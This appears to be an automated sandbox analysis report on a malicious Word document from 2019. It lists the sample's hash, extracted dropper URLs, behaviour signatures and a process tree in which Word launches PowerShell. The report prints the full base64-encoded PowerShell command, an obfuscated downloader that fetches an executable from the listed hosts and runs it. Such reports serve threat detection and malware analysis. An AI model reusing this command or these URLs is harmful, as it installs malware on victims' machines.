Analysis
- max time kernel
150s - max time network
135s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
04/05/2024, 16:28
General
- Target 303683609857-May_01_2019.doc
- Size 150KB
- Sample240504-ty4nkseb68
- SHA256 6c53c3f9f2d4a2371367019734bed40ff98401090a297b4856b9997df56168ff
Malware Config
Extracted
-
ps1
-
exe.dropper
http://webaphobia.com/images/72Ca/
-
exe.dropper
https://montalegrense.graficosassociados.com/keywords/FOYo/
-
exe.dropper
http://purimaro.com/1/ww/
-
exe.dropper
http://jpmtech.com/css/GOOvqd/
-
exe.dropper
http://118.89.215.166/wp-includes/l5/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\303683609857-May_01_2019.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exepowErSHell -e JABHAHgAUQBHAEIAQwBBAF8APQAoACgAJwBLAEMAJwArACcARAAnACkAKwAnAEQANAAnACsAJwAxACcAKQA7ACQAYwBrAEEANAAxAFEAUQBYACAAPQAgACgAJwA4ACcAKwAnADEAMwAnACkAOwAkAE8AUQBrAEEARABVAFUAWgA9ACgAKAAnAHEAJwArACcAQQB4ACcAKQArACcARAAnACsAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcANABjACcALAAnAHcAQgAnACkAKQA7ACQAaABRAFEAQQBCAG8AMQBBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjAGsAQQA0ADEAUQBRAFgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJAB1AEEAQQA0AEEAUQA0AD0AKAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAeAAnACwAKAAnAEEAJwArACcAeABVACcAKQApACsAJwBYACcAKwAnAEEAJwApADsAJABDAEEAYwBEAEEAQQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBgAGUAVAAuAFcAZQBCAEMAYABsAGAASQBFAE4AdAA7ACQAWQBCAEEAQQBVAF8ARAA9ACgAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAKAAnAGgAdAAnACsAJwB0ACcAKQAsACgAJwBwACcAKwAnADoALwAnACkAKQArACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAC8AdwAnACwAJwBlACcALAAoACcAYgAnACsAJwBhAHAAaAAnACkAKQArACcAbwAnACsAJwBiAGkAJwArACcAYQAnACsAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAKAAnAGkAJwArACcAbQBhACcAKQAsACcAbQAvACcALAAoACcALgAnACsAJwBjAG8AJwApACkAKwAoACIAewAzAH0AewAwAH0AewAyAH0AewA0AH0AewAxAH0AIgAtAGYAJwBlAHMAJwAsACgAJwAvACcAKwAnAEAAaAB0AHQAcAAnACkALAAoACcALwA3ACcAKwAnADIAQwAnACkALAAnAGcAJwAsACcAYQAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiAC0AZgAoACcAdABhACcAKwAnAGwAJwArACcAZQBnAHIAZQBuACcAKQAsACcAbQBvACcALAAnAG4AJwApACsAJwBzACcAKwAoACcAZQAuACcAKwAnAGcAJwApACsAKAAiAHsAMAB9AHsAMQB9ACIALQBmACgAJwByAGEAJwArACcAZgAnACkALAAnAGkAJwApACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAKAAnAGMAbwBzACcAKwAnAGEAJwApACwAJwBzACcAKQArACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACgAJwBzACcAKwAnAG8AYwAnACkALAAnAGkAJwApACsAKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIALQBmACAAJwBtAC8AJwAsACcAYQAnACwAKAAnAGQAbwBzAC4AJwArACcAYwBvACcAKQApACsAJwBrACcAKwAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACgAJwB3ACcAKwAnAG8AcgBkAHMAJwArACcALwAnACkALAAoACcARgAnACsAJwBPAFkAbwAnACkALAAnAGUAeQAnACkAKwAoACIAewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAgAC0AZgAgACcAQAAnACwAJwAvACcALAAoACcAdAB0AHAAJwArACcAOgAvAC8AcAAnACsAJwB1AHIAJwApACwAJwBoACcAKQArACcAaQAnACsAJwBtAGEAJwArACcAcgAnACsAJwBvACcAKwAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBtACcALAAoACcALgBjACcAKwAnAG8AJwApACkAKwAoACIAewAwAH0AewAxAH0AIgAtAGYAKAAnAC8AMQAnACsAJwAvACcAKQAsACcAdwB3ACcAKQArACgAJwAvACcAKwAnAEAAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAKAAnADoALwAnACsAJwAvAGoAJwApACwAJwBwAG0AJwApACsAKAAnAHQAZQAnACsAJwBjACcAKQArACcAaAAnACsAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACgAJwAvAGMAcwAnACsAJwBzACcAKQAsACgAJwAuAGMAbwAnACsAJwBtACcAKQAsACgAJwAvACcAKwAnAEcATwBPACcAKQApACsAJwB2ACcAKwAoACcAcQBkACcAKwAnAC8AJwApACsAJwBAACcAKwAnAGgAJwArACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwB0ACcALAAoACcAdABwACcAKwAnADoAJwApACkAKwAnAC8AJwArACcALwAxACcAKwAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcALgAnACwAKAAnADEAOAAuACcAKwAnADgAOQAnACkAKQArACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiAC0AZgAgACcANQAnACwAKAAnAC4AMQA2ACcAKwAnADYALwAnACkALAAnADIAMQAnACkAKwAoACIAewAyAH0AewAwAH0AewAxAH0AIgAtAGYAJwBwAC0AJwAsACgAJwBpAG4AJwArACcAYwAnACkALAAnAHcAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAnAHMAJwArACcALwBsADUALwAnACkALAAnAGUAJwApACkALgBTAHAAbABJAHQAKAAnAEAAJwApADsAJABVAEEAQQBYAF8AQQBCAEIAPQAoACcAZgAnACsAJwBvAHcAJwArACgAJwBjADEAJwArACcAVQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGkAQQB3AEQAbwB3AEEAIABpAG4AIAAkAFkAQgBBAEEAVQBfAEQAKQB7AHQAcgB5AHsAJABDAEEAYwBEAEEAQQAuAEQATwB3AE4AbABPAGEAZABGAGkAbABFACgAJABpAEEAdwBEAG8AdwBBACwAIAAkAGgAUQBRAEEAQgBvADEAQQApADsAJABhAEMAUQB4ADQAQQA9ACgAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBxAG8AJwAsACgAJwBrACcAKwAnAEEAQgAnACkAKQArACcAQwB3ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABoAFEAUQBBAEIAbwAxAEEAKQAuAGwARQBOAGcAVABoACAALQBnAGUAIAAzADcAMgAzADgAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAgACQAaABRAFEAQQBCAG8AMQBBADsAJABzAEEAQQBBAEEAQQBRADQAPQAoACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACgAJwBBACcAKwAnAHgAQQAnACkALAAnAHUAeAAnACkAKwAnAEQAJwApADsAYgByAGUAYQBrADsAJABZAFUAUQBBAEEAQQA9ACgAKAAnAG0AJwArACcAUQBBACcAKQArACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAnAEEARAAnACsAJwBRACcAKQAsACcARwAnACkAKwAnAEEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABpAEQAVQBBAHcAeAA9ACgAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAKAAnAGEAUQAnACsAJwBBACcAKQAsACcAawAnACkAKwAnAFoAQQAnACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
sist02.xsl
__PSScriptPolicyTest_bsc2whc4.jsi.ps1
memory/2556-42-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2556-474-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2556-52-0x00000287E3D80000-0x00000287E3DA2000-memory.dmp
memory/2772-28-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-40-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-8-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-6-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-10-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-9-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-13-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-12-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-15-0x00007FFBDD4E0000-0x00007FFBDD4F0000-memory.dmp
memory/2772-14-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-11-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-16-0x00007FFBDD4E0000-0x00007FFBDD4F0000-memory.dmp
memory/2772-24-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-0-0x00007FFBDFE10000-0x00007FFBDFE20000-memory.dmp
memory/2772-39-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-7-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-41-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-5-0x00007FFC1FE2D000-0x00007FFC1FE2E000-memory.dmp
memory/2772-1-0x00007FFBDFE10000-0x00007FFBDFE20000-memory.dmp
memory/2772-2-0x00007FFBDFE10000-0x00007FFBDFE20000-memory.dmp
memory/2772-61-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-62-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-63-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-3-0x00007FFBDFE10000-0x00007FFBDFE20000-memory.dmp
memory/2772-343-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-470-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp
memory/2772-4-0x00007FFBDFE10000-0x00007FFBDFE20000-memory.dmp
memory/2772-566-0x00007FFBDFE10000-0x00007FFBDFE20000-memory.dmp
memory/2772-568-0x00007FFBDFE10000-0x00007FFBDFE20000-memory.dmp
memory/2772-569-0x00007FFBDFE10000-0x00007FFBDFE20000-memory.dmp
memory/2772-567-0x00007FFBDFE10000-0x00007FFBDFE20000-memory.dmp
memory/2772-570-0x00007FFC1FD90000-0x00007FFC1FF85000-memory.dmp